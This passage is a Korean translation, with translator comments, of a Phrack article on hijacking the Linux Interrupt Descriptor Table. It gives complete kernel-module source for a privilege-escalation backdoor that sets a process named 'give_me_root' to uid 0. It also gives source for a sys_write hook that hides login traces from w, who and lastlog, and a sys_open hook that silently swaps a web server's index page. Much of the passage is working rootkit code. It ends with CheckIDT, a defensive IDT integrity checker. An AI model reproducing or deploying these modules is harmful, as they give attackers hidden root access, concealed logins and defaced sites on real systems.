CODE 3번에 있습니다. 이 예제는 매우 단순하지만 매우 흥미롭지요. "kad" 대신에 "marcel" 로 변경하면, 우리의 IP 어드레스도 다른 것으로 바꿀 수 있겠죠. "w"의 출력 대신에 "who" 나 "lastlog"도 가능하고, klogd 를 사용할 수도 있겠죠. sys_write 전체에 대한 후킹 ------------------------------ sys_write 전체에 대한 후킹은 IP 를 다른 것으로 변경하는 것과 같은 몇 가지 경우에 매우 유용할 수 있다. 하지만 만약 스트링을 완전히 변경한다면 오래 숨길 수는 없다. 만약 다른 것으로 string 을 변경한다면, 전체 시스템이 변경 될 것이다. 단순한 cat 조차도 영향을 미칠수가 있다. =================================================================================== %insmod hookstub-V0.5.3.o interrupt=128 hide_string="hello!" false_string="bye! " Inserting hook Hooking finish %echo hello! bye! % =================================================================================== 이 예제를 위한 C 핸들러는 조건문 if 문이 없는 바로 앞의 핸들러와 같다. 이는 천천히 그리고 아조 조금씩 여러분의 시스템을 다운시킬 수 있다는 점에 유의하라. 5.4 - 후킹으로부터 얻는 재미 이 예제들은 단지 즐기기 위한 용도이므로 절대 오용하지 말길 바랍니다. 여러분들이 관리자들을 돌아버리게 만들 수도 있으니 말입니다. 이러한 아이디어를 내어 준 Spacewalker 에게 감사하는 바입니다. 그 아이디어는 정의된 파일(원래 sys_open 을 호출하면서 정해 준 파일) 대신에 다른 파일을 호출하는 식의 sys_open 시스템 콜을 후킹하는 것 입니다. SYS_OPEN: --------- ======================= EAX : 5 EBX : pathname 포인터 ECX : 파일 접근 EDX : 파일 권한 ======================= 어셈블리 핸들러는 항상 이전의 것과 같습니다. C handler : ------------ ================================================================================= asmlinkage void my_function(struct pt_regs * regs,unsigned long fd_task) { struct task_struct *my_task = &((struct task_struct * ) fd_task) [0]; if(strcmp(my_task->comm,"httpd") == 0) { if(strcmp((char *)regs->ebx,"/var/www/htdocs/index.html.fr")==0) { copy_to_user((char *)regs->ebx,"/tmp/hacked", strlen((char *) regs->ebx)); } } } ================================================================================= 우리는 sys_open 을 후킹하여, 만약 httpd 가 sys_open을 호출하여, index.html 파일을 열려고 하면, 우리에 의해 선택된 다른 index.html 파일로 변경하여 버리게 합니다. 그리고 더 쉽게 페이지를 변경하기 위하여 MODULE_PARM 을 사용할 수도 있습니다. 만약 누군가가 전형적인 에디터를 사용하여 파일을 열게 되면 , 그는 실제 index.html 파일을 보게 될 것입니다. (% edward : 진짜 관리자 입장에서는 돌아버릴지도 모르겠군요. -_-; ) 이 테크닉을 사용하여 syscall 을 후킹하는 것은 매우 쉽습니다. 더우기 적은 수정을 거치고 이런 저런 시스템 콜을 후킹할 수 있지요. C 핸들러만을 변경하고도 말입니다. 하지만 예를 들어 2 개의 시스템 콜들을 반대로 만들기 위해서는 어셈블리 핸들러를 사용합니다. 우리는 단지 eax 의 값과 정의된 시스템 콜의 번호로 변경하기 위한 값을 비교해야만 합니다. admin 을 위해서 "hot" 시스템 콜을 후킹하고, 시스템 콜이 호출되면 경고 메시지를 뿌려줍니다. syscall_table 상의 수정에 대한 경고를 하게 될겁니다. 6 - CHECKIDT CheckIDT 는 유저모드로부터 IDT 를 사용하여 "놀기" 위해 작성된 작은 프로그램입니다. 이 프로그램은 LKM 을 사용하지 않는데, Phrack 58 호에 /dev/kmem 테크닉을 올려준 sd 와 devik 에게 감사하는 바입니다. 나의 모든 테스트를 통해 많은 커널들을 망가뜨렸습니다. 죽지는 않았지만 LKM 을 지울수가 없었죠. 나는 IDT 의 값을 변경하고 reboot 를 시켰습니다. CheckIDT 는 LKM 없이 IDT 값을 변경하는 할 수 있습니다. 그리고 여기서는 여러분들이 LKM 을 코딩하는데 도움을 주고 rebooting 하지 않게 해줍니다. 반면에, 이 소프트웨어는 IDT 가 수정되는 것을 경고할 수 있습니다. 관리자에겐 유용할 수도 있죠. 그리고 tripwire 스타일에서 IDT 상태를 복구할 수도 있습니다. CheckIDT 는 각각의 IDT 디스크립터를 파일로 저장하고, 현재 IDT 디스크립터와 저장된 값을 비교하여 IDT 에서 수정된 부분을 되돌릴 수도 있습니다. 사용례: ----------------------- ================================================================ %./checkidt CheckIDT V 1.1 by kad --------------------- Option : -a nb show all info about one interrupt -A show all info about all interrupt -I show IDT address -c create file archive -r read file archive -o file output filename (for creating file archive) -C compare save idt & new idt -R restore IDT -i file input filename to compare or read -s resolve symbol thanks to /boot/System.map -S file specify a map file %./checkidt -a 3 -s Int *** Stub Address *** Segment *** DPL *** Type Handler Name -------------------------------------------------------------------------- 3 0xc0109370 KERNEL_CS 3 System gate int3 Thanks for choose kad's products :-) % We can obtain information on an interrupt descriptor. "-A" allow to obtain information on all interrupts. %./checkidt -c Creating file archive idt done Thanks for choosing kad's products :-) %insmod hookstub-V0.3.2.o interrupt=3 Inserting hook Hooking finished %./checkidt -C Hey stub address of interrupt 3 has changed!!! Old Value : 0xc0109370 New Value : 0xc583e064 Thanks for choosing kad's products :-) %./checkidt -R Restore old stub address of interrupt 3 Thanks for choosing kad's products :-) %./checkidt -C All values are same Thanks for choosing kad's products :-) %lsmod Module Size Used by hookstub-V0.3.2 928 0 (unused) ... % ================================================================ CheckIDT 는 이전에 모듈에 삽입되기 이전의 IDT 의 값을 복구할 수 있습니다. 하지만, 모듈은 여전히 아무런 영향을 받지 않습니다. tripwire 에서 내가 충고하건데 여러분들은 IDT 세이브 파일을 read only 영역에 보관하든지 해야합니다. 기억하세요 ! 만약 모듈이 숨겨지고 나면 여러분 또한 IDT 의 수정 경고를 받을 수 있다는 것을 ... 전체 소스 코드는 8장 부가적인 내용의 CODE 4번을 참조하시면 됩니다. 7 - 참조문헌 & 인사말 ========================================================================== [1] http://www.linuxassembly.org/resources.html#tutorials Many docs on asm inline [2] http://www.xml.com/ldd/chapter/book/ linux device drivers [3] http://www.lxhp.in-berlin.de/lhpsysc0.html detailed syscalls list [4] http://eccentrica.org/Mammon/ Mammon site, thanks mammon ;) [5] http://www.oreilly.com/catalog/linuxkernel/ o'reilly book , great book :) [6] http://www.tldp.org/LDP/lki/index.html Linux Kernel 2.4 Internals [7] Sources of 2.2.19 and 2.4.17 kernel [8] http://users.win.be/W0005997/UNIX/LINUX/IL/kernelmechanismseng.html good info about how bottom half work [9] http://www.s0ftpj.org/en/tools.html kstat ========================================================================== 인사말 - 내가 이 문서를 영어로 번역하는 작업을 도와준 freya, django 그리고 neuro 에게 특히 감사하는 바이며, skyper의 조언에 다시한번 감사하는 바이다. 고맙네 친구 ! :) (% edward : 나도 -_- 고맙네 여러분들 :) ) - asm 에 대해서 헤아릴 수 없이 많은 조언을 해준 Wax 에게도 감사하는 바이다. (담배 너무많이 피지말어라 !) (% edward : 나한테 하는 소린가 -_-;;; 뜨끔하군) - 이 문서의 코드를 테스트하고 검증해 준 mayhem, insulted, ptah 그리고 sauron 에게 매우 감사하는 바이다. (% edward : 조금만 감사하는 바이다 -_-; 오타가 많은데 좀 더 잘 검증하지..) - #frogs, #thebhz, #gandalf, #fr 채널 사람들에게 감사하는 바이며, Party, nywass, polos 아 ... 어쩌구 저쩌구 ... 생각 안나는 모든 사람들에게 감사한다. (% edward : 하루종일 감사를 하다니 -_-;;; 나 힘들게 시리) 8 - 부가적인 내용 CODE 1: ------- /*****************************************/ /* hooking interrupt 3 . Idea by mammon */ /* with kad modification */ /*****************************************/ #define MODULE #define __KERNEL__ #include #include #include #include #include #define error_code 0xc01092d0 //error code in my system.map #define do_int3 0xc010977c //do_int3 in my system.map asmlinkage void my_handler(struct pt_regs * regs,long err_code); /*------------------------------------------*/ unsigned long ptr_idt_table; unsigned long ptr_gdt_table; unsigned long old_stub; unsigned long old_handler=do_int3; extern asmlinkage void my_stub(); unsigned long ptr_error_code=error_code; unsigned long ptr_handler=(unsigned long)&my_handler; /*------------------------------------------*/ struct descriptor_idt { unsigned short offset_low,seg_selector; unsigned char reserved,flag; unsigned short offset_high; }; void stub_kad(void) { __asm__ ( ".globl my_stub \n" ".align 4,0x90 \n" "my_stub: \n" "pushl $0 \n" "pushl ptr_handler(,1) \n" "jmp *ptr_error_code " :: ); } asmlinkage void my_handler(struct pt_regs * regs,long err_code) { void (*old_int_handler)(struct pt_regs *,long) = (void *) old_handler; printk("<1>Wowowo hijacking de l'int 3 \n"); (*old_int_handler)(regs,err_code); return; } unsigned long get_addr_idt (void) { unsigned char idtr[6]; unsigned long idt; __asm__ volatile ("sidt %0": "=m" (idtr)); idt = *((unsigned long *) &idtr[2]); return(idt); } void * get_stub_from_idt (int n) { struct descriptor_idt *idte = &((struct descriptor_idt *) ptr_idt_table) [n]; return ((void *) ((idte->offset_high << 16 ) + idte->offset_low)); } void hook_stub(int n,void *new_stub,unsigned long *old_stub) { unsigned long new_addr=(unsigned long)new_stub; struct descriptor_idt *idt=(struct descriptor_idt *)ptr_idt_table; //save old stub if(old_stub) *old_stub=(unsigned long)get_stub_from_idt(3); //assign new stub idt[n].offset_high = (unsigned short) (new_addr >> 16); idt[n].offset_low = (unsigned short) (new_addr & 0x0000FFFF); return; } int init_module(void) { ptr_idt_table=get_addr_idt(); hook_stub(3,&my_stub,&old_stub); return 0; } void cleanup_module() { hook_stub(3,(char *)old_stub,NULL); } ****************************************************************************** CODE 2: ------- /****************************************************/ /* IDT int3 backdoor. Give root right to the process /* Coded by kad /****************************************************/ #define MODULE #define __KERNEL__ #include #include #include #include #ifndef KERNEL2 #include #else #include #endif /*------------------------------------------*/ asmlinkage void my_function(unsigned long); /*------------------------------------------*/ MODULE_AUTHOR("Kad"); MODULE_DESCRIPTION("Hooking of int3 , give root right to process"); MODULE_PARM(interrupt,"i"); MODULE_PARM_DESC(interrupt,"Interrupt number"); /*------------------------------------------*/ unsigned long ptr_idt_table; unsigned long old_stub; extern asmlinkage void my_stub(); unsigned long hostile_code=(unsigned long)&my_function; int interrupt; /*------------------------------------------*/ struct descriptor_idt { unsigned short offset_low,seg_selector; unsigned char reserved,flag; unsigned short offset_high; }; void stub_kad(void) { __asm__ ( ".globl my_stub \n" ".align 4,0x90 \n" "my_stub: \n" " pushl %%ebx \n" " movl %%esp,%%ebx \n" " andl $-8192,%%ebx \n" " pushl %%ebx \n" " call *%0 \n" " addl $4,%%esp \n" " popl %%ebx \n" " jmp *%1 \n" ::"m"(hostile_code),"m"(old_stub) ); } asmlinkage void my_function(unsigned long addr_task) { struct task_struct *p = &((struct task_struct *) addr_task)[0]; if(strcmp(p->comm,"give_me_root")==0 ) { #ifdef DEBUG printk("UID : %i GID : %i SUID : %i\n",p->uid, p->gid,p->suid); #endif p->uid=0; p->gid=0; #ifdef DEBUG printk("UID : %i GID %i SUID : %i\n",p->uid,p->gid,p->suid); #endif } else { #ifdef DEBUG printk("<1>Interrupt %i hijack \n",interrupt); #endif } } unsigned long get_addr_idt (void) { unsigned char idtr[6]; unsigned long idt; __asm__ volatile ("sidt %0": "=m" (idtr)); idt = *((unsigned long *) &idtr[2]); return(idt); } unsigned short get_size_idt(void) { unsigned idtr[6]; unsigned short size; __asm__ volatile ("sidt %0": "=m" (idtr)); size=*((unsigned short *) &idtr[0]); return(size); } void * get_stub_from_idt (int n) { struct descriptor_idt *idte = &((struct descriptor_idt *) ptr_idt_table) [n]; return ((void *) ((idte->offset_high << 16 ) + idte->offset_low)); } void hook_stub(int n,void *new_stub,unsigned long *old_stub) { unsigned long new_addr=(unsigned long)new_stub; struct descriptor_idt *idt=(struct descriptor_idt *)ptr_idt_table; //save old stub if(old_stub) *old_stub=(unsigned long)get_stub_from_idt(n); #ifdef DEBUG printk("Hook : new stub addresse not splited : 0x%.8x\n",new_addr); #endif //assign new stub idt[n].offset_high = (unsigned short) (new_addr >> 16); idt[n].offset_low = (unsigned short) (new_addr & 0x0000FFFF); #ifdef DEBUG printk("Hook : idt->offset_high : 0x%.8x\n",idt[n].offset_high); printk("Hook : idt->offset_low : 0x%.8x\n",idt[n].offset_low); #endif return; } int write_console (char *str) { struct tty_struct *my_tty; if((my_tty=current->tty) != NULL) { (*(my_tty->driver).write) (my_tty,0,str,strlen(str)); return 0; } else return -1; } static int __init kad_init(void) { int x; EXPORT_NO_SYMBOLS; ptr_idt_table=get_addr_idt(); write_console("Inserting hook \r\n"); hook_stub(interrupt,&my_stub,&old_stub); #ifdef DEBUG printk("Set hooking on interrupt %i\n",interrupt); #endif write_console("Hooking finished \r\n"); return 0; } static void kad_exit(void) { write_console("Removing hook\r\n"); hook_stub(interrupt,(char *)old_stub,NULL); } module_init(kad_init); module_exit(kad_exit); ****************************************************************************** CODE 3: ------- /**************************************************************/ /* Hooking of sys_write for w,who and lastlog. /* You can add an another program when you insmod the module /* By kad /**************************************************************/ #define MODULE #define __KERNEL__ #include #include #include #include #ifndef KERNEL2 #include #else #include #endif #include #include #define sys_number 4 #define HIDE_STRING "localhost" #define FALSE_STRING "somewhere" #define PROG "w" /*------------------------------------------*/ asmlinkage char * my_function(struct pt_regs * regs,unsigned long fd_task); /*------------------------------------------*/ MODULE_AUTHOR("kad"); MODULE_DESCRIPTION("Hooking of sys_write"); MODULE_PARM(interrupt,"i"); MODULE_PARM_DESC(interrupt,"Interrupt number"); MODULE_PARM(hide_string,"s"); MODULE_PARM_DESC(hide_string,"String to hide"); MODULE_PARM(false_string,"s"); MODULE_PARM_DESC(false_string,"The fake string"); MODULE_PARM(progy,"s"); MODULE_PARM_DESC(progy,"You can add another program to fake"); /*------------------------------------------*/ unsigned long ptr_idt_table; unsigned long old_stub; extern asmlinkage void my_stub(); unsigned long hostile_code=(unsigned long)&my_function; int interrupt; char *hide_string; char *false_string; char *progy; /*------------------------------------------*/ struct descriptor_idt { unsigned short offset_low,seg_selector; unsigned char reserved,flag; unsigned short offset_high; }; void stub_kad(void) { __asm__ ( ".globl my_stub \n" ".align 4,0x90 \n" "my_stub: \n" //save the register value " pushl %%ds \n" " pushl %%eax \n" " pushl %%ebp \n" " pushl %%edi \n" " pushl %%esi \n" " pushl %%edx \n" " pushl %%ecx \n" " pushl %%ebx \n" //compare it's the good syscall " xor %%ebx,%%ebx \n" " movl %2,%%ebx \n" " cmpl %%eax,%%ebx \n" " jne finis \n" //if it's the good syscall , continue :) " mov %%esp,%%edx \n" " mov %%esp,%%eax \n" " andl $-8192,%%eax \n" " pushl %%eax \n" " push %%edx \n" " call *%0 \n" " addl $8,%%esp \n" "finis: \n" //restore register " popl %%ebx \n" " popl %%ecx \n" " popl %%edx \n" " popl %%esi \n" " popl %%edi \n" " popl %%ebp \n" " popl %%eax \n" " popl %%ds \n" " jmp *%1 \n" ::"m"(hostile_code),"m"(old_stub),"i"(sys_number) ); } asmlinkage char * my_function(struct pt_regs * regs,unsigned long fd_task) { struct task_struct *my_task = &((struct task_struct * ) fd_task) [0]; char *ptr=(char *) regs->ecx; char * buffer,*ptr3; if(strcmp(my_task->comm,"w")==0 || strcmp(my_task->comm,"who")==0 || strcmp(my_task->comm,"lastlog")==0 || ((progy != 0)?(strcmp(my_task->comm,progy)==0):0) ) { buffer=(char * ) kmalloc(regs->edx,GFP_KERNEL); copy_from_user(buffer,ptr,regs->edx); if(hide_string) { ptr3=strstr(buffer,hide_string); } else { ptr3=strstr(buffer,HIDE_STRING); } if(ptr3 != NULL ) { if (false_string) { strncpy(ptr3,false_string,strlen(false_string)); } else { strncpy(ptr3,FALSE_STRING,strlen(FALSE_STRING)); } copy_to_user(ptr,buffer,regs->edx); } kfree(buffer); } } unsigned long get_addr_idt (void) { unsigned char idtr[6]; unsigned long idt; __asm__ volatile ("sidt %0": "=m" (idtr)); idt = *((unsigned long *) &idtr[2]); return(idt); } void * get_stub_from_idt (int n) { struct descriptor_idt *idte = &((struct descriptor_idt *) ptr_idt_table) [n]; return ((void *) ((idte->offset_high << 16 ) + idte->offset_low)); } void hook_stub(int n,void *new_stub,unsigned long *old_stub) { unsigned long new_addr=(unsigned long)new_stub; struct descriptor_idt *idt=(struct descriptor_idt *)ptr_idt_table; //save old stub if(old_stub) *old_stub=(unsigned long)get_stub_from_idt(n); #ifdef DEBUG printk("Hook : new stub addresse not splited : 0x%.8x\n", new_addr); #endif //assign new stub idt[n].offset_high = (unsigned short) (new_addr >> 16); idt[n].offset_low = (unsigned short) (new_addr & 0x0000FFFF); #ifdef DEBUG printk("Hook : idt->offset_high : 0x%.8x\n",idt[n].offset_high); printk("Hook : idt->offset_low : 0x%.8x\n",idt[n].offset_low); #endif return; } int write_console (char *str) { struct tty_struct *my_tty; if((my_tty=current->tty) != NULL) { (*(my_tty->driver).write) (my_tty,0,str,strlen(str)); return 0; } else return -1; } static int __init kad_init(void) { EXPORT_NO_SYMBOLS; ptr_idt_table=get_addr_idt(); write_console("Inserting hook \r\n"); hook_stub(interrupt,&my_stub,&old_stub); #ifdef DEBUG printk("Set hooking on interrupt %i\n",interrupt); #endif write_console("Hooking finish \r\n"); return 0; } static void kad_exit(void) { write_console("Removing hook\r\n"); hook_stub(interrupt,(char *)old_stub,NULL); } module_init(kad_init); module_exit(kad_exit); CODE 4: ------- ****************************************************************************** <++> checkidt/Makefile all: checkidt.c gcc -Wall -o checkidt checkidt.c <--> <++> checkidt/checkidt.c /* * CheckIDT V1.1 * Play with IDT from userland * It's a tripwire kind for IDT * kad 2002 * * gcc -Wall -o checkidt checkidt.c */ #include #include #include #include #include #include #include #include #define NORMAL "\033[0m" #define NOIR "\033[30m" #define ROUGE "\033[31m" #define VERT "\033[32m" #define JAUNE "\033[33m" #define BLEU "\033[34m" #define MAUVE "\033[35m" #define BLEU_CLAIR "\033[36m" #define SYSTEM "System gate" #define INTERRUPT "Interrupt gate" #define TRAP "Trap gate" #define DEFAULT_FILE "Safe_idt" #define DEFAULT_MAP "/boot/System.map" /***********GLOBAL**************/ int fd_kmem; unsigned long ptr_idt; /******************************/ struct descriptor_idt { unsigned short offset_low,seg_selector; unsigned char reserved,flag; unsigned short offset_high; }; struct Mode { int show_idt_addr; int show_all_info; int read_file_archive; int create_file_archive; char out_filename[20]; int compare_idt; int restore_idt; char in_filename[20]; int show_all_descriptor; int resolve; char map_filename[40]; }; unsigned long get_addr_idt (void) { unsigned char idtr[6]; unsigned long idt; __asm__ volatile ("sidt %0": "=m" (idtr)); idt = *((unsigned long *) &idtr[2]); return(idt); } unsigned short get_size_idt(void) { unsigned idtr[6]; unsigned short size; __asm__ volatile ("sidt %0": "=m" (idtr)); size=*((unsigned short *) &idtr[0]); return(size); } char * get_segment(unsigned short selecteur) { if(selecteur == __KERNEL_CS) { return("KERNEL_CS"); } if(selecteur == __KERNEL_DS) { return("KERNEL_DS"); } if(selecteur == __USER_CS) { return("USER_CS"); } if(selecteur == __USER_DS) { return("USER_DS"); } else { printf("UNKNOW\n"); } } void readkmem(void *m,unsigned off,int size) { if(lseek(fd_kmem,off,SEEK_SET) != off) { fprintf(stderr,"Error lseek. Are you root? \n"); exit(-1); } if(read(fd_kmem,m,size)!= size) { fprintf(stderr,"Error read kmem\n"); exit(-1); } } void writekmem(void *m,unsigned off,int size) { if(lseek(fd_kmem,off,SEEK_SET) != off) { fprintf(stderr,"Error lseek. Are you root? \n"); exit(-1); } if(write(fd_kmem,m,size)!= size) { fprintf(stderr,"Error read kmem\n"); exit(-1); } } void resolv(char *file,unsigned long stub_addr,char *name) { FILE *fd; char buf[100],addr[30]; int ptr,ptr_begin,ptr_end; snprintf(addr,30,"%x",(char *)stub_addr); if(!(fd=fopen(file,"r"))) { fprintf(stderr,"Can't open map file. You can specify a map file -S option or change #define in source\n"); exit(-1); } while(fgets(buf,100,fd) != NULL) { ptr=strstr(buf,addr); if(ptr) { bzero(name,30); ptr_begin=strstr(buf," "); ptr_begin=strstr(ptr_begin+1," "); ptr_end=strstr(ptr_begin+1,"\n"); strncpy(name,ptr_begin+1,ptr_end-ptr_begin-1); break; } } if(strlen(name)==0)strcpy(name,ROUGE"can't resolve"NORMAL); fclose(fd); } void show_all_info(int interrupt,int all_descriptor,char *file,int resolve) { struct descriptor_idt *descriptor; unsigned long stub_addr; unsigned short selecteur; char type[15]; char segment[15]; char name[30]; int x; int dpl; bzero(name,strlen(name)); descriptor=(struct descriptor_idt *)malloc(sizeof(struct descriptor_idt)); printf("Int *** Stub Address *** Segment *** DPL *** Type "); if(resolve >= 0) { printf(" Handler Name\n"); printf("--------------------------------------------------------------------------\n"); } else { printf("\n"); printf("---------------------------------------------------\n"); } if(interrupt >= 0) { readkmem(descriptor,ptr_idt+8*interrupt,sizeof(struct descriptor_idt)); stub_addr=(unsigned long)(descriptor->offset_high << 16) + descriptor->offset_low; selecteur=(unsigned short) descriptor->seg_selector; if(descriptor->flag & 64) dpl=3; else dpl = 0; if(descriptor->flag & 1) { if(dpl) strncpy(type,SYSTEM,sizeof(SYSTEM)); else strncpy(type,TRAP,sizeof(TRAP)); } else strncpy(type,INTERRUPT,sizeof(INTERRUPT)); strcpy(segment,get_segment(selecteur)); if(resolve >= 0) { resolv(file,stub_addr,name); printf("%-7i 0x%-14.8x %-12s%-8i%-16s %s\n",interrupt,stub_addr,segment,dpl,type,name); } else { printf("%-7i 0x%-14.8x %-12s %-7i%s\n",interrupt,stub_addr,segment,dpl,type); } } if(all_descriptor >= 0 ) { for (x=0;x<(get_size_idt()+1)/8;x++) { readkmem(descriptor,ptr_idt+8*x,sizeof(struct descriptor_idt)); stub_addr=(unsigned long)(descriptor->offset_high << 16) + descriptor->offset_low; if(stub_addr != 0) { selecteur=(unsigned short) descriptor->seg_selector; if(descriptor->flag & 64) dpl=3; else dpl = 0; if(descriptor->flag & 1) { if(dpl) strncpy(type,SYSTEM,sizeof(SYSTEM)); else strncpy(type,TRAP,sizeof(TRAP)); } else strncpy(type,INTERRUPT,sizeof(INTERRUPT)); strcpy(segment,get_segment(selecteur)); if(resolve >= 0) { bzero(name,strlen(name)); resolv(file,stub_addr,name); printf("%-7i 0x%-14.8x %-12s%-8i%-16s %s\n",x,stub_addr,segment,dpl,type,name); } else { printf("%-7i 0x%-14.8x %-12s %-7i%s\n",x,stub_addr,segment,dpl,type); } } } } free(descriptor); } void create_archive(char *file) { FILE *file_idt; struct descriptor_idt *descriptor; int x; descriptor=(struct descriptor_idt *)malloc(sizeof(struct descriptor_idt)); if(!(file_idt=fopen(file,"w"))) { fprintf(stderr,"Error while opening file\n"); exit(-1); } for(x=0;x<(get_size_idt()+1)/8;x++) { readkmem(descriptor,ptr_idt+8*x,sizeof(struct descriptor_idt)); fwrite(descriptor,sizeof(struct descriptor_idt),1,file_idt); } free(descriptor); fclose(file_idt); fprintf(stderr,"Creating file archive idt done \n"); } void read_archive(char *file) { FILE *file_idt; int x; struct descriptor_idt *descriptor; unsigned long stub_addr; descriptor=(struct descriptor_idt *)malloc(sizeof(struct descriptor_idt)); if(!(file_idt=fopen(file,"r"))) { fprintf(stderr,"Error, check if the file exist\n"); exit(-1); } for(x=0;x<(get_size_idt()+1)/8;x++) { fread(descriptor,sizeof(struct descriptor_idt),1,file_idt); stub_addr=(unsigned long)(descriptor->offset_high << 16) + descriptor->offset_low; printf("Interruption : %i -- Stub addresse : 0x%.8x\n",x,stub_addr); } free(descriptor); fclose(file_idt); } void compare_idt(char *file,int restore_idt) { FILE *file_idt; int x,change=0; int result; struct descriptor_idt *save_descriptor,*actual_descriptor; unsigned long save_stub_addr,actual_stub_addr; unsigned short *offset; save_descriptor=(struct descriptor_idt *)malloc(sizeof(struct descriptor_idt)); actual_descriptor=(struct descriptor_idt *)malloc(sizeof(struct descriptor_idt)); file_idt=fopen(file,"r"); for(x=0;x<(get_size_idt()+1)/8;x++) { fread(save_descriptor,sizeof(struct descriptor_idt),1,file_idt); save_stub_addr=(unsigned long)(save_descriptor->offset_high << 16) + save_descriptor->offset_low; readkmem(actual_descriptor,ptr_idt+8*x,sizeof(struct descriptor_idt)); actual_stub_addr=(unsigned long)(actual_descriptor->offset_high << 16) + actual_descriptor->offset_low; if(actual_stub_addr != save_stub_addr) { if(restore_idt < 1) { fprintf(stderr,VERT"Hey stub address of interrupt %i has changed!!!\n"NORMAL,x); fprintf(stderr,"Old Value : 0x%.8x\n",save_stub_addr); fprintf(stderr,"New Value : 0x%.8x\n",actual_stub_addr); change=1; } else { fprintf(stderr,VERT"Restore old stub address of interrupt %i\n"NORMAL,x); actual_descriptor->offset_high = (unsigned short) (save_stub_addr >> 16); actual_descriptor->offset_low = (unsigned short) (save_stub_addr & 0x0000FFFF); writekmem(actual_descriptor,ptr_idt+8*x,sizeof(struct descriptor_idt)); change=1; } } } if(!change) fprintf(stderr,VERT"All values are same\n"NORMAL); } void initialize_value(struct Mode *mode) { mode->show_idt_addr=-1; mode->show_all_info=-1; mode->show_all_descriptor=-1; mode->create_file_archive=-1; mode->read_file_archive=-1; strncpy(mode->out_filename,DEFAULT_FILE,strlen(DEFAULT_FILE)); mode->compare_idt=-1; mode->restore_idt=-1; strncpy(mode->in_filename,DEFAULT_FILE,strlen(DEFAULT_FILE)); strncpy(mode->map_filename,DEFAULT_MAP,strlen(DEFAULT_MAP)); mode->resolve=-1; } void usage() { fprintf(stderr,"CheckIDT V 1.1 by kad\n"); fprintf(stderr,"---------------------\n"); fprintf(stderr,"Option : \n"); fprintf(stderr," -a nb show all info about one interrupt\n"); fprintf(stderr," -A showw all info about all interrupt\n"); fprintf(stderr," -I show IDT address \n"); fprintf(stderr," -c create file archive\n"); fprintf(stderr," -r read file archive\n"); fprintf(stderr," -o file output filename (for creating file archive)\n"); fprintf(stderr," -C compare save idt & new idt\n"); fprintf(stderr," -R restore IDT\n"); fprintf(stderr," -i file input filename to compare or read\n"); fprintf(stderr," -s resolve symbol thanks to /boot/System.map\n"); fprintf(stderr," -S file specify a map file\n\n"); exit(1); } int main(int argc, char ** argv) { int option; struct Mode *mode; if (argc < 2) { usage(); } mode=(struct Mode *) malloc(sizeof(struct Mode)); initialize_value(mode); while((option=getopt(argc,argv,"hIa:Aco:Ci:rRsS:"))!=-1) { switch(option) { case 'h': usage(); exit(1); case 'I': mode->show_idt_addr=1; break; case 'a': mode->show_all_info=atoi(optarg); break; case 'A': mode->show_all_descriptor=1; break; case 'c': mode->create_file_archive=1; break; case 'r': mode->read_file_archive=1; break; case 'R': mode->restore_idt=1; break; case 'o': bzero(mode->out_filename,sizeof(mode->out_filename)); if(strlen(optarg) > 20) { fprintf(stderr,"Filename too long\n"); exit(-1); } strncpy(mode->out_filename,optarg,strlen(optarg)); break; case 'C': mode->compare_idt=1; break; case 'i': bzero(mode->in_filename,sizeof(mode->in_filename)); if(strlen(optarg) > 20) { fprintf(stderr,"Filename too long\n"); exit(-1); } strncpy(mode->in_filename,optarg,strlen(optarg)); break; case 's': mode->resolve=1; break; case 'S': bzero(mode->map_filename,sizeof(mode->map_filename)); if(strlen(optarg) > 40) { fprintf(stderr,"Filename too long\n"); exit(-1); } if(optarg)strncpy(mode->map_filename,optarg,strlen(optarg)); break; } } printf("\n"); ptr_idt=get_addr_idt(); if(mode->show_idt_addr >= 0) { fprintf(stdout,"Addresse IDT : 0x%x\n",ptr_idt); } fd_kmem=open("/dev/kmem",O_RDWR); if(mode->show_all_info >= 0 || mode->show_all_descriptor >= 0) { show_all_info(mode->show_all_info,mode->show_all_descriptor,mode->map_filename,mode->resolve); } if(mode->create_file_archive >= 0) { create_archive(mode->out_filename); } if(mode->read_file_archive >= 0) { read_archive(mode->in_filename); } if(mode->compare_idt >= 0) { compare_idt(mode->in_filename,mode->restore_idt); } if(mode->restore_idt >= 0) { compare_idt(mode->in_filename,mode->restore_idt); } printf(JAUNE"\nThanks for choosing kad's products :-)\n"NORMAL); free(mode); return 0; } <--> |=[ EOF ]=---------------------------------------------------------------=| 프랙 문서 59호 4번 글 Handling the Interrupt Descriptor Table hijacking-idt-for-profit 의 예제는 http://sd.g-art.nl/private/ynit.s 에서 찾을 수 있습니다. ======================================================================== - 작업 후기 정말 이 문서를 쓴 분이 영어권의 사람이 아닌 모양이더군요. 계속 같은 영어의 반복과 오타 ... 그리고 여러가지 문제로 고생을 조금 했습니다. 스팀이 올라서 줄담배를 피기까지 했군요. -_-;; 앗 ... 그 그게아니라 전 비 흡연자 입니다. -_-)a 여튼 상당히 재미난 내용이고, 아직까지 검증에 대한 작업은 마쳐지지 않은 상태입니다. 커널에 따라서 조금씩 다른 부분도 있겠지만 후일 시간을 내어 검증작업을 한 뒤 버젼업을 하겠습니다. 뉴비 여러분들께는 대단히 죄송할 따름이지만, 아실만한 분들은 다들 알 수 있을 정도로는 정리를 하였습니다. 다시한번 고개 숙여 죄송하단 말을 하고 싶구요. _(__)_ 납쭉 이상한 부분에 대해서는 제 메일주소로 메일을 보내주세요. 질문사항은 어디로 올리는지 아시죠 ? doc by edward ======================================================================== ======================================================================== * Change Log (bout Documentation) - v 0.0.1 : IDT 를 이용한 소프트웨어 인터럽트 후킹 IDT 를 이용한 하드웨어 인터럽트 후킹 IDT 를 이용한 시스템 콜의 후킹 (syscall_table 이나 stub 을 사용하지 않습니다.) ========================================================================